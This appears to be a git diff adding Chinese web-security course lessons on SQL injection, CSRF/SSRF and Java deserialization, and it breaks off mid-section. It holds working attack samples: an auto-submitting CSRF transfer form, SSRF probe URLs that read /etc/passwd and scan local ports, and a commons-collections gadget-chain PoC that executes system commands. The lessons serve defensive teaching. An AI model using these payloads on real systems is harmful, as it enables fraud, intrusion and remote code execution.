当然,部分场景下,用户输入的参数会比较复杂。我们以用户发出的评论为例,其内容完全由用户定义,应用无法预判它的格式。这种情况下,应用只能通过对部分关键字符进行过滤,来避免SQL注入的发生。比如,在MySQL中,需要注意的关键词有" % ’ \ _。
|
||||
|
||||
这里我简单地总结一下,在实际使用这些防护方法时的注意点。对于验证输入来说,尤其是在复杂场景下的验证输入措施,其防护效果是最弱的。因此,避免SQL注入的防护方法,首要选择仍然是PreparedStatement或者存储过程。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,这一节内容差不多了,下面我来带你总结回顾一下,你要掌握的重点内容。
|
||||
|
||||
SQL注入就是黑客通过相关漏洞,篡改SQL语句的攻击。通过SQL注入,黑客既可以影响正常的SQL执行结果,从而绕过验证,也可以执行额外的SQL语句,对数据的机密性、完整性和可用性都产生影响。
|
||||
|
||||
为了避免SQL注入的出现,我们需要正确地使用PreparedStatement方法或者存储过程,尽量避免在SQL语句中出现字符串拼接的操作。除此之外,SQL注入的防护也可以和XSS一样,对用户的输入进行验证、检测并过滤SQL中的关键词,从而避免原有语句被篡改。
|
||||
|
||||
今天的内容比较多,为了方便你记忆,我总结了一个知识脑图,你可以通过它来对今天的重点内容进行复习巩固。<br>
|
||||
<img src="https://static001.geekbang.org/resource/image/1b/36/1b898391a3a04a764d0442d8481c4236.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
好了,今天的内容差不多了,我们来看一道思考题。
|
||||
|
||||
假设有下面这样一个语句:
|
||||
|
||||
```
|
||||
SELECT Username FROM Users WHERE UserId = 1
|
||||
|
||||
```
|
||||
|
||||
你现在已经知道,WHERE语句中存在了SQL注入的点。那么,我们怎么才能获取到除了Username之外的其他字段呢?这里我给你一个小提示,你可以先了解一下“[盲注](https://www.freebuf.com/articles/web/175049.html)”这个概念,之后再来思考这个问题。
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
157
极客时间专栏/安全攻防技能30讲/Web安全/08 | CSRF|SSRF:为什么避免了XSS,还是“被发送”了一条微博?.md
Normal file
157
极客时间专栏/安全攻防技能30讲/Web安全/08 | CSRF|SSRF:为什么避免了XSS,还是“被发送”了一条微博?.md
Normal file
@@ -0,0 +1,157 @@
|
||||
<audio id="audio" title="08 | CSRF/SSRF:为什么避免了XSS,还是“被发送”了一条微博?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/a9/46/a977c8db9e0c70e83657334dc2958e46.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
前面我们讲了2种常见的Web攻击:XSS和SQL注入。它们分别篡改了原始的HTML和SQL逻辑,从而使得黑客能够执行自定义的功能。那么除了对代码逻辑进行篡改,黑客还能通过什么方式发起Web攻击呢?
|
||||
|
||||
我们还是先来看一个例子。在平常使用浏览器访问各种网页的时候,是否遇到过,自己的银行应用突然发起了一笔转账,又或者,你的微博突然发送了一条内容?
|
||||
|
||||
在我们学习XSS之后,你可能会联想到,这是银行或者微博中出现了某个XSS漏洞。但问题是,你今天并没有访问过银行或者微博的页面,所以并没有“被XSS”的机会。这时,你想到,会不会是你今天访问的其他网页里存在一些恶意的攻击,实现了你不知道的转账和发博行为呢?好了,你肯定很想知道黑客究竟是怎么做到的,那你不妨先自己思考一下,写出几个可能的答案,然后跟着我开始学习今天的内容!
|
||||
|
||||
## CSRF攻击是如何产生的?
|
||||
|
||||
我们几乎每天都要用到浏览器,我们的信息也会被浏览器“保存”。那我们首先来看一下,浏览器是如何保存你的身份信息的。
|
||||
|
||||
当我们在访问一个Web页面的时候,并不是我们自己去获取页面信息,而是浏览器去获取了这些信息,并将它们进行了展示。这就说明,你允许浏览器代表你去和Web的服务端进行交互。为了能够准确地代表你的身份,浏览器通常会在Cookie中存储一些必要的身份信息。所以,在我们使用一个网页的时候,只需要在首次访问的时候登录就可以了。
|
||||
|
||||
从用户体验上来说,这当然是非常方便的。但是,黑客正是利用这一点,来编写带有恶意JavaScript脚本的网页,通过“钓鱼”的方式诱导你访问。然后,黑客会通过这些JavaScript脚本窃取你保存在网页中的身份信息,通过仿冒你,让你的浏览器发起伪造的请求,最终执行黑客定义的操作。而这一切对于你自己而言都是无感知的。这就是**CSRF**(Cross-Site Request Forgery,跨站请求伪造)攻击。
|
||||
|
||||
接下来,我们就以银行转账为例子,来详细讲解一下这个攻击过程。
|
||||
|
||||
当你在银行页面发起一笔转账时,这个过程其实是通过一个转账接口来完成的。这个接口的内容可能包括下面这些内容:
|
||||
|
||||
- 接口地址:`http://bank.com/transfer` ;
|
||||
- HTTP方法:POST;
|
||||
- 接口参数:to(目标账户)、amount(金额)。
|
||||
|
||||
在转账之前,你肯定进行了一次登录。这样一来,这个转账接口就可以通过你之前存储在Cookie中的相关字段来完成认证了。所以,这个接口参数中不需要包含任何身份认证相关的信息。也正是因为如此,这个接口满足了CSRF攻击的基本条件:
|
||||
|
||||
- 使用Cookie进行认证;
|
||||
- 参数中不包含任何隐私信息。
|
||||
|
||||
于是,黑客可以构造一个如下的空白网页。我们假设这个网页的地址为 hacker.com。
|
||||
|
||||
```
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://bank.com/transfer" method="POST">
|
||||
<input type="hidden" name="to" value="hacker" />
|
||||
<input type="hidden" name="amount" value="10000.00" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
```
|
||||
|
||||
在HTML中,`<script>`标签内的JavaScript脚本会在打开网页的时候自动执行。因此,一旦用户访问了这个hacker.com的页面,它就会自动提交form表单,向`http://bank.com/transfer`这个接口(假设为转账接口)发起一个POST请求。
|
||||
|
||||
其中,to和amount这两个参数,代表着用户向黑客的账号转账10000元。只要这个用户之前登录过bank.com,并且账户余额大于10000元,那么黑客就能够成功地收到这10000元的转账了。在这个网页中,`<input>`的标签带有“hidden”属性,所以这整个过程对于用户来说都是不可见的。
|
||||
|
||||
为了方便你理解,我把这个流程,我画成了一张图,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7b/0b/7bd75f65e6fc3e9a8fb0246a8a32dc0b.jpeg" alt="">
|
||||
|
||||
## 通过CSRF攻击,黑客能做什么?
|
||||
|
||||
和XSS一样,CSRF也可以仿冒用户去进行一些功能操作的请求,比如修改密码、转账等等,相当于绕过身份认证,进行未授权的操作。
|
||||
|
||||
值得一提的是,尽管黑客通过CSRF能进行的操作没有XSS丰富,但CSRF在传播和攻击成本上都低于XSS。这也就是说,即使你的网页中没有任何注入漏洞,但只要接口配置不当,就能够被CSRF利用。而黑客也只需要在自己的域名中,搭建一个诱导性的网页,就可以让任何访问网页的用户都遭受到CSRF攻击。而且,用户每天需要访问大量的网页,根本没有办法确认每一个网页的合法性。而从严格意义上来说,用户根本没有办法防止CSRF攻击。因此,我们只能从应用本身入手去加强防护。
|
||||
|
||||
## 如何进行CSRF防护?
|
||||
|
||||
那究竟该怎么进行CSRF防护呢?我们有两种方法。**行业内标准的CSRF防护方法是CSRFToken。** 我们先来看这个方法。
|
||||
|
||||
通过前面的学习,我们知道,CSRF是通过自动提交表单的形式来发起攻击的。所以,在前面转账的例子中,黑客可以通过[抓包](https://baike.baidu.com/item/%E6%8A%93%E5%8C%85/9929103?fr=aladdin)分析出http://bank.com/transfer这个接口所需要的参数,从而构造对应的form表单。因此,我们只需要在这个接口中,加入一个黑客无法猜到的参数,就可以有效防止CSRF了。这就是**CSRF Token**的工作原理。
|
||||
|
||||
它的工作流程,我也总结了一下,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d0/04/d0d3a70f4acf7b0fc7bd1c780a909904.jpeg" alt="">
|
||||
|
||||
因为CSRF Token是每次用户正常访问页面时,服务端随机生成返回给浏览器的。所以,每一次正常的转账接口调用,都会携带不同的CSRF Token。黑客没有办法进行提前猜测,也就没有办法构造出正确的表单了。
|
||||
|
||||
**除了CSRF Token之外,我们也可以通过二次验证来加强防护。**
|
||||
|
||||
回想一下,当你进行各类支付操作的时候,银行网页通常会要求你输入支付密码。你可能会觉得奇怪,明明自己已经登录了,为什么还需要输入一个独立的支付密码呢?这其实和CSRF Token的原理一样:这个独立的支付密码是需要用户输入的,只存在于用户的记忆中,因此,也是黑客无法获取到的参数。
|
||||
|
||||
怎么理解呢?假如说,黑客通过CSRF攻击,替你发起了一笔转账。在支付的时候,银行会发起一个全新的页面,让你验证支付密码。这个时候你发现,这个支付请求不是你本人发起的,那你肯定不会输入支付密码来完成验证。所以,在用户进行支付这样的敏感操作时,应用通常会要求用户提供一些私密的信息,就是为了对CSRF攻击进行防护。
|
||||
|
||||
讲到这里,你现在对CSRF的攻击和防护,应该有了一个大概的了解。简单来说,CSRF其实就是黑客利用浏览器存储用户Cookie这一特性,来模拟用户发起一次带有认证信息的请求,比如转账、修改密码等。防护CSRF的原理也很简单,在这些请求中,加入一些黑客无法得到的参数信息即可,比如CSRF Token或者独立的支付密码等。掌握了这些内容,其实CSRF的知识基本上就差不多了。
|
||||
|
||||
## SSRF:同样的原理,发生在服务端又会发生什么?
|
||||
|
||||
在CSRF中,黑客通过诱导用户访问某个网站,让用户的浏览器发起一个伪造的请求。那么,如果服务端发起了这个伪造的请求,又会发生什么呢?
|
||||
|
||||
我们知道,服务端也有代理请求的功能:用户在浏览器中输入一个URL(比如某个图片资源),然后服务端会向这个URL发起请求,通过访问其他的服务端资源来完成正常的页面展示。
|
||||
|
||||
这个时候,只要黑客在输入中提交一个内网URL,就能让服务端发起一个黑客定义的内网请求,从而获取到内网数据。这就是**SSRF**(Server Side Request Forgery,服务端请求伪造)的原理。而服务端作为内网设备,通常具备很高的权限,所以,这个伪造的请求往往因为能绕过大部分的认证和授权机制,而产生很严重的后果。
|
||||
|
||||
比方说,当我们在百度中搜索图片时,会涉及图片的跨域加载保护,百度不会直接在页面中加载图片的源地址,而是将地址通过GET参数提交到百度服务器,然后百度服务器请求到对应的图片,再返回到页面展示出来。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3f/8c/3f38ba6be9035e799ac9c3b2666c0c8c.png" alt="">
|
||||
|
||||
这个过程中,百度服务器实际上会向另外一个URL地址发起请求(比如,上图中的`http://s1.sinaimg.cn`)。利用这个代理发起请求的功能,黑客可以通过提交一个内网的地址,实现对内网任意服务的访问。这就是SSRF攻击的实现过程,也就是我们常说的“内网穿透”。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a3/48/a357b988133b1fcb7aaf51e6937a1448.jpeg" alt="">
|
||||
|
||||
## 通过SSRF攻击,黑客能做什么?
|
||||
|
||||
了解了SSRF攻击的过程之后,我们知道,在服务端不做任何保护措施的情况下,黑客可以利用SSRF向内网发起任意的HTTP请求。那么,这些请求会产生什么样的后果呢?我总结了一下,主要会有这样两种动作:内网探测和文件读取。
|
||||
|
||||
### 1.内网探测
|
||||
|
||||
我们先来看内网探测。内外网一般是隔离的。所以,黑客在外网环境中,是无法知道内网有哪些服务器,这些服务器又分别提供了哪些服务。但是,通过一个加载图片的SSRF漏洞,黑客就能够对内网进行探测。这是怎么做到的呢?别着急,我们慢慢来看。
|
||||
|
||||
在前面百度搜图的例子中,我们请求的地址是:[https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture](https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture)[.jpg](https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture.jpg%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8C)。因为[http://s1.sinaimg.cn/picture](https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture)[.jpg](https://image.baidu.com/search/detail?objurl=http://s1.sinaimg.cn/picture.jpg%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8C)会正常返回一个图片,所以网页会展示出来对应的图片。
|
||||
|
||||
我们假定这样一个服务端逻辑:在这个请求过程中,服务端会判断objurl返回数据的Content Type是否为image/jpeg。那么,可能的返回结果就有三种:
|
||||
|
||||
- “是”,则展示图片;
|
||||
- “不是”,则返回“格式错误”;
|
||||
- 无响应,则返回“找不到图片”。
|
||||
|
||||
基于这三种返回逻辑,黑客可以构造一个恶意的请求地址:[https://image.baidu.com/search/detail?objurl=127.0.0.1:3306](https://image.baidu.com/search/detail?objurl=127.0.0.1:3306%EF%BC%8C)。如果服务器返回“格式错误”,则代表服务端本地的3306端口可用;如果返回“找不到图片”,则代表不可用。我们知道,3306是MySQL对应的端口号,因此,根据这个返回的信息,黑客就能够知道服务端本地是否开启了一个MySQL服务。接下来,黑客只需要不断重复这个过程,尝试不同的IP和端口号,就能够一点一点探测出整个内网的结构。
|
||||
|
||||
### 2.文件读取
|
||||
|
||||
接下来,我们说一下文件读取。服务器除了对图片的代理不做合法性判断之外,对很多其他的代理也不做判断,而是直接将代理的结果返回到前端。我们称这种情况为“有回显的SSRF”。在这种情况下,黑客不仅能够知道请求是否成功了,还能够知道具体返回的内容。这时候你肯定会好奇,黑客究竟是怎么做到呢?
|
||||
|
||||
在URI中,开头的http://和https://代表需要使用什么协议去进行请求。除了HTTP之外,URI还有很多种协议可以选择,比如file://就是直接读取本地的文件。通过输入file:///etc/passwd,黑客就能够通过一个请求获取到本地的passwd文件,从而知道本地有哪些用户。经过不断地尝试,黑客就能够把整个服务器中的文件内容都给拉取出来,这其中包括密钥、源码等极度敏感的信息。
|
||||
|
||||
我曾经就遇到过一个黑客。他通过SSRF攻击拿到了服务端的源码,然后通过对源码的分析,找到了一个SQL注入的漏洞,再利用SSRF发起对内网的SQL注入攻击,从而拿到了内网的命令执行权限。
|
||||
|
||||
## 如何进行SSRF防护?
|
||||
|
||||
因为SSRF漏洞起源于业务的正常功能需求(比如百度图片的图片请求等等)。因此,我们很难真正消除它。尽管如此,我还是会为你介绍几种常见的防护手段,来尽可能地提高应用的安全性。这些常见的手段主要包括:白名单限制、协议限制和请求端限制。接下来,我们一一来看。
|
||||
|
||||
**白名单的限制永远是最简单、最高效的防护措施。** SSRF中的白名单,就是对用户提交上来的目标URL进行限制。比如,只允许是同一个域名下的URL。你可以理解为,让百度图片的代理服务只允许代理baidu.com的URL。但是,很多时候,因为业务功能的设计,白名单的限制并不可行。比如,上述百度图片的例子,这个功能的设计思路就是,baidu.com这个域名下能够请求各类域名下的图片资源(比如上述例子中的sinaimg.cn)。
|
||||
|
||||
在这种时候,**我们可以对协议和资源类型等进行限制**。比如:对于使用协议,我们只允许HTTP或者HTTPS协议;对于返回的内容,我们只允许图片格式的内容。通过这些限制,虽然不能完全阻止黑客发起SSRF攻击,但也大大降低了黑客能够造成的危害。
|
||||
|
||||
除此之外,因为SSRF最终的结果,是接受代理请求的服务端发生数据泄露。所以,SSRF防护不仅仅涉及接收URL的服务端检测,也需要接受代理请求的服务端进行配合。在这种情况下,我们就需要用到**请求端限制**,它的防护措施主要包括两个方面。
|
||||
|
||||
第一,为其他业务提供的服务接口尽量使用POST,避免GET的使用。因为,在SSRF中(以及大部分的Web攻击中),发起一个POST请求的难度是远远大于GET请求的。因为默认的请求方式是GET,而发起POST请求,需要在发起HTTP请求的时候进行配置。很多安全漏洞中不包含能够配置协议的地方。在上述百度图片的例子中,黑客显然就只能发起GET请求。如果某个敏感服务是POST的,黑客就无法请求到相关资源了。
|
||||
|
||||
第二,为其他业务提供的服务接口,最好每次都进行验证。通过SSRF,黑客只能发起请求,并不能获取到服务端存储的验证信息(如认证的key和secret等)。因此,只要接受代理请求的端对每次请求都进行完整的验证,黑客无法成功通过验证,也就无法完成请求了。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天的内容差不多了,让我们来回顾一下,你要掌握的重点内容。
|
||||
|
||||
今天我们介绍了CSRF和SSRF这两种攻击方式。其中,CSRF是黑客控制用户的浏览器发起伪造的请求,SSRF则是黑客控制服务端发起伪造的请求。通过伪造的请求,黑客可以伪造用户或者服务器的身份,越权获取数据或者发起请求。应用中的请求接口越敏感,黑客能够造成的伤害就越大。
|
||||
|
||||
除此之外,CSRF和SSRF产生于正常的业务功能逻辑中,因此,我们没有办法从根本上阻止黑客发起伪造的请求。但是,你可以通过加强接口的安全验证,来避免伪造请求造成影响。在CSRF中,我们可以通过CSRF Token或者二次验证等操作来加强防护。这样,黑客无法获取到隐私信息,也就无法发起连续的请求了。在SSRF中,我们则需要限制可请求的域名,来限制黑客能够访问到的资源。另外,目标服务端,也需要加强接口的验证,来避免伪造请求成功通过授权。
|
||||
|
||||
今天的内容比较多,为了方便你记忆,我总结了一个知识脑图,你可以通过它来对今天的重点内容进行复习巩固。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b0/29/b0b508ed5b1903d716188fe101bd4129.jpg" alt="">
|
||||
|
||||
## 思考题
|
||||
|
||||
接下来,让我们来看一道思考题。
|
||||
|
||||
通过今天的讲解,你可以回忆一下,你的企业是否遇到过CSRF/SSRF攻击呢?如果遇到过,当时是如何处理的呢?如果没有遇到过,那你负责的Web或者应用中,是否实现了CSRF/SSRF的保护逻辑呢?具体又是怎么实现的呢?
|
||||
|
||||
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!
|
||||
202
极客时间专栏/安全攻防技能30讲/Web安全/09 | 反序列化漏洞:使用了编译型语言,为什么还是会被注入?.md
Normal file
202
极客时间专栏/安全攻防技能30讲/Web安全/09 | 反序列化漏洞:使用了编译型语言,为什么还是会被注入?.md
Normal file
@@ -0,0 +1,202 @@
|
||||
<audio id="audio" title="09 | 反序列化漏洞:使用了编译型语言,为什么还是会被注入?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/80/44/80d96449a3c46c66c99b32d6a34bb344.mp3"></audio>
|
||||
|
||||
你好,我是何为舟。
|
||||
|
||||
我们都知道,Java是一种高层级的语言。在Java中,你不需要直接操控内存,大部分的服务和组件都已经有了成熟的封装。除此之外,Java是一种先编译再执行的语言,无法像JavaScript那样随时插入一段代码。因此,很多人会认为,Java是一个安全的语言。如果使用Java开发服务,我们只需要考虑逻辑层的安全问题即可。但是,Java真的这么安全吗?
|
||||
|
||||
2015年,Java曾被曝出一个严重的漏洞,很多经典的商业框架都因此受到影响,其中最知名的是[WebLogic](https://baike.baidu.com/item/weblogic/451978?fr=aladdin)。据统计,在网络中公开的WebLogic服务有3万多个。其中,中国就有1万多个外网可访问的WebLogic服务。因此,WebLogic的反序列化漏洞意味着,国内有1万多台服务器可能会被黑客攻陷,其影响的用户数量更是不可估量的。
|
||||
|
||||
你可能要说了,我实际工作中并没有遇到过反序列化漏洞啊。但是,你一定使用过一些序列化和反序列化的工具,比如Fastjson和Jackson等。如果你关注这些工具的版本更新,就会发现,这些版本更新中包含很多修复反序列化漏洞的改动。而了解反序列化漏洞,可以让你理解,Java作为一种先打包后执行的语言,是如何被插入额外逻辑的;也能够让你对Java这门语言的安全性,有一个更全面的认知。
|
||||
|
||||
那么,到底什么是反序列化漏洞呢?它究竟会对Java的安全带来哪些冲击呢?遇到这些冲击,我们该怎么办呢?今天我就带你来了解反序列化漏洞,然后一起学习如何防护这样的攻击!
|
||||
|
||||
## 反序列化漏洞是如何产生的?
|
||||
|
||||
如果你是研发人员,工作中一定会涉及很多的序列化和反序列化操作。应用在输出某个数据的时候,将对象转化成字符串或者字节流,这就是序列化操作。那什么是反序列化呢?没错,我们把这个过程反过来,就是反序列化操作,也就是应用将字符串或者字节流变成对象。
|
||||
|
||||
序列化和反序列化有很多种实现方式。比如Java中的Serializable接口(或者Python中的pickle)可以把应用中的对象转化为二进制的字节流,把字节流再还原为对象;还有XML和JSON这些跨平台的协议,可以把对象转化为带格式的文本,把文本再还原为对象。
|
||||
|
||||
那反序列化漏洞到底是怎么产生的呢?问题就出在把数据转化成对象的过程中。在这个过程中,应用需要根据数据的内容,去调用特定的方法。而黑客正是利用这个逻辑,在数据中嵌入自定义的代码(比如执行某个系统命令)。应用对数据进行反序列化的时候,会执行这段代码,从而使得黑客能够控制整个应用及服务器。这就是反序列化漏洞攻击的过程。
|
||||
|
||||
事实上,基本上所有语言都会涉及反序列化漏洞。其中,Java因为使用范围比较广,本身体积也比较庞大, 所以被曝出的反序列化漏洞最多。下面,我就以Java中一个经典的反序列化漏洞demo [ysoserial](https://github.com/frohoff/ysoserial) 为基础,来介绍一个经典的反序列化漏洞案例,给你讲明白反序列化漏洞具体的产生过程。了解漏洞是怎么产生的,对于你后面理解防护措施也会非常有帮助,所以这里你一定要认真看。
|
||||
|
||||
不过,这里也先提醒你一下,这块原理的内容相对比较复杂。我会尽量给你讲解清楚,讲完之后,我也会带着你对这部分内容进行总结、复习。重复记忆可以加深理解,这块内容建议你可以多看几遍。好了,下面我们就来看这个案例!
|
||||
|
||||
最终的演示demo的代码如下所示。在macOS环境下运行这段代码,你就能够打开一个计算器。(在Windows环境下,将系统命令open -a calculator修改成calc即可。)注意,这里需要依赖3.2.1以下的commons-collections,最新的版本已经对这个漏洞进行了修复,所以无法重现这个攻击的过程。
|
||||
|
||||
```
|
||||
public class Deserialize {
|
||||
public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchMethodException {
|
||||
Object evilObject = getEvilObject();
|
||||
byte[] serializedObject = serializeToByteArray(evilObject);
|
||||
deserializeFromByteArray(serializedObject);
|
||||
}
|
||||
|
||||
public static Object getEvilObject() throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
|
||||
String[] command = {"open -a calculator"};
|
||||
|
||||
final Transformer[] transformers = new Transformer[]{
|
||||
new ConstantTransformer(Runtime.class),
|
||||
new InvokerTransformer("getMethod",
|
||||
new Class[]{String.class, Class[].class},
|
||||
new Object[]{"getRuntime", new Class[0]}
|
||||
),
|
||||
new InvokerTransformer("invoke",
|
||||
new Class[]{Object.class, Object[].class},
|
||||
new Object[]{null, new Object[0]}
|
||||
),
|
||||
new InvokerTransformer("exec",
|
||||
new Class[]{String.class},
|
||||
command
|
||||
)
|
||||
};
|
||||
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||
|
||||
Map map = new HashMap<>();
|
||||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||
|
||||
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
|
||||
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
|
||||
Proxy evilProxy = (Proxy) Proxy.newProxyInstance(Deserialize.class.getClassLoader(), new Class[]{Map.class}, secondInvocationHandler);
|
||||
|
||||
InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
|
||||
|
||||
return invocationHandlerToSerialize;
|
||||
|
||||
/*Transformer[] transformers = new Transformer[] {
|
||||
new ConstantTransformer(Runtime.class),
|
||||
new InvokerTransformer("getMethod", new Class[] {
|
||||
String.class, Class[].class }, new Object[] {
|
||||
"getRuntime", new Class[0] }),
|
||||
new InvokerTransformer("invoke", new Class[] {
|
||||
Object.class, Object[].class }, new Object[] {
|
||||
null, new Object[0] }),
|
||||
new InvokerTransformer("exec", new Class[] {
|
||||
String.class }, new Object[] {"open -a calculator"})};
|
||||
|
||||
Transformer chain = new ChainedTransformer(transformers);
|
||||
Map innerMap = new HashMap<String, Object>();
|
||||
innerMap.put("key", "value");
|
||||
Map<String, Object> outerMap = TransformedMap.decorate(innerMap, null, chain);
|
||||
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
|
||||
ctor.setAccessible(true);
|
||||
Object instance = ctor.newInstance(Target.class, outerMap);
|
||||
return instance;*/
|
||||
}
|
||||
|
||||
public static void deserializeAndDoNothing(byte[] byteArray) throws IOException, ClassNotFoundException {
|
||||
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArray));
|
||||
ois.readObject();
|
||||
}
|
||||
|
||||
public static byte[] serializeToByteArray(Object object) throws IOException {
|
||||
ByteArrayOutputStream serializedObjectOutputContainer = new ByteArrayOutputStream();
|
||||
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedObjectOutputContainer);
|
||||
objectOutputStream.writeObject(object);
|
||||
return serializedObjectOutputContainer.toByteArray();
|
||||
}
|
||||
|
||||
public static Object deserializeFromByteArray(byte[] serializedObject) throws IOException, ClassNotFoundException {
|
||||
ByteArrayInputStream serializedObjectInputContainer = new ByteArrayInputStream(serializedObject);
|
||||
ObjectInputStream objectInputStream = new ObjectInputStream(serializedObjectInputContainer);
|
||||
InvocationHandler evilInvocationHandler = (InvocationHandler) objectInputStream.readObject();
|
||||
return evilInvocationHandler;
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
下面我们来分析一下这段代码的逻辑。
|
||||
|
||||
在Java通过`ObjectInputStream.readObject()`进行反序列化操作的时候,ObjectInputStream会根据序列化数据寻找对应的实现类(在payload中是`sun.reflect.annotation.AnnotationInvocationHandler`)。如果实现类存在,Java就会调用其readObject方法。因此,`AnnotationInvocationHandler.readObject`方法在反序列化过程中会被调用。
|
||||
|
||||
`AnnotationInvocationHandler在readObject`的过程中会调用`streamVals.entrySet()`。其中,`streamVals`是`AnnotationInvocationHandler`构造函数中的第二个参数。这个参数可以在数据中进行指定。而黑客定义的是Proxy类,也就是说,黑客会让这个参数的实际值等于Proxy。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/29/d7/294747330236323f2539ce1656eb9ed7.jpg" alt="">
|
||||
|
||||
Proxy是动态代理,它会基于Java反射机制去动态实现代理类的功能。在Java中,调用一个Proxy类的entrySet()方法,实际上就是在调用`InvocationHandler中的invoke`方法。在invoke方法中,Java又会调用`memberValues.get(member)`。其中,`memberValues`是`AnnotationInvocationHandler`构造函数中的第二个参数。
|
||||
|
||||
同样地,`memberValues`这个参数也能够在数据中进行指定,而这次黑客定义的就是LazyMap类。member是方法名,也就是entrySet。因此,我们最终会调用到`LazyMap.get("entrySet")`这个逻辑。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/f8/fe/f8390216be34758ef0ee27946369c9fe.jpg" alt="">
|
||||
|
||||
当LazyMap需要get某个参数的时候,如果之前没有获取过,则会调用`ChainedTransformer.transform`进行构造。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d6/57/d6540c248b8dfc16ae66767a1382da57.jpg" alt="">
|
||||
|
||||
`ChainedTransformer.transform`会将我们构造的几个InvokerTransformer顺次执行。而在`InvokerTransformer.transform`中,它会通过反射的方法,顺次执行我们定义好的Java语句,最终调用`Runtime.getRuntime().exec("open -a calculator")`实现命令执行的功能。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6b/ae/6ba2e4e30bf7a0e6b8973a22f2deefae.jpg" alt="">
|
||||
|
||||
好了,讲了这么多,不知道你理解了多少?这个过程的确比较烧脑。我带你再来总结一下,简单来说,其实就是以下4步:
|
||||
|
||||
1. 黑客构造一个恶意的**调用链**(专业术语为POP,Property Oriented Programming),并将其序列化成数据,然后发送给应用;
|
||||
1. 应用接收数据。大部分应用都有接收外部输入的地方,比如各种HTTP接口。而这个输入的数据就有可能是序列化数据;
|
||||
1. 应用进行反序列操作。收到数据后,应用尝试将数据构造成对象;
|
||||
1. 应用在反序列化过程中,会调用黑客构造的调用链,使得应用会执行黑客的任意命令。
|
||||
|
||||
那么,在这个反序列化的过程中,应用为什么会执行黑客构造的调用链呢?这是因为,**反序列化的过程其实就是一个数据到对象的过程**。在这个过程中,应用必须根据数据源去调用一些默认方法(比如构造函数和Getter/Setter)。
|
||||
|
||||
除了这些方法,反序列化的过程中,还会涉及一些接口类或者基类(简单的如:Map、List和Object)。应用也必须根据数据源,去判断选择哪一个具体的接口实现类。也就是说,黑客可以控制反序列化过程中,应用要调用的接口实现类的默认方法。通过对不同接口类的默认方法进行组合,黑客就可以控制反序列化的调用过程,实现执行任意命令的功能。
|
||||
|
||||
## 通过反序列化漏洞,黑客能做什么?
|
||||
|
||||
学习了前面的例子,我们已经知道,通过反序列化漏洞,黑客可以调用到`Runtime.exec()`来进行命令执行。换一句话说,黑客已经能够在服务器上执行任意的命令,这就相当于间接掌控了你的服务器,能够干任何他想干的事情了。
|
||||
|
||||
即使你对服务器进行了一定的安全防护,控制了黑客掌控服务器所产生的影响,黑客还是能够利用反序列化漏洞,来发起拒绝服务攻击。比如,曾经有人就提出过这样的方式,通过HashSet的相互引用,构造出一个100层的HashSet,其中包含200个HashSet的实例和100个String,结构如下图所示。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/db/03/dbc68b00d365fba99361a49128a69703.jpg" alt="">
|
||||
|
||||
对于多层嵌套的对象,Java在反序列化过程中,需要调用的方法呈指数增加。因此,尽管这个序列化的数组大概只有6KB,但是面对这种100层的数据,Java所需要执行的方法数是近乎无穷的(n的100次方)。也就是说,黑客可以通过构建一个体积很小的数据,增加应用在反序列化过程中需要调用的方法数,以此来耗尽CPU资源,达到影响服务器可用性的目的。
|
||||
|
||||
## 如何进行反序列化漏洞防护 ?
|
||||
|
||||
现在,你应该对序列化和反序列化的操作产生了一些警惕。那你可能要问了,既然反序列化漏洞危害这么大,我们能不能直接剔除它们呢?显然是不可能的,尤其是JSON,作为目前最热门的跨平台数据交换格式之一,其易用性是显而易见的,你不可能因为这些还没发生的危害就剔除它们。因此,我们要采取一些有效的手段,在把反序列化操作的优势发挥出来的同时,去避免反序列化漏洞的出现。我们来看3种具体的防护方法:认证、限制类和RASP检测。
|
||||
|
||||
### 1.认证和签名
|
||||
|
||||
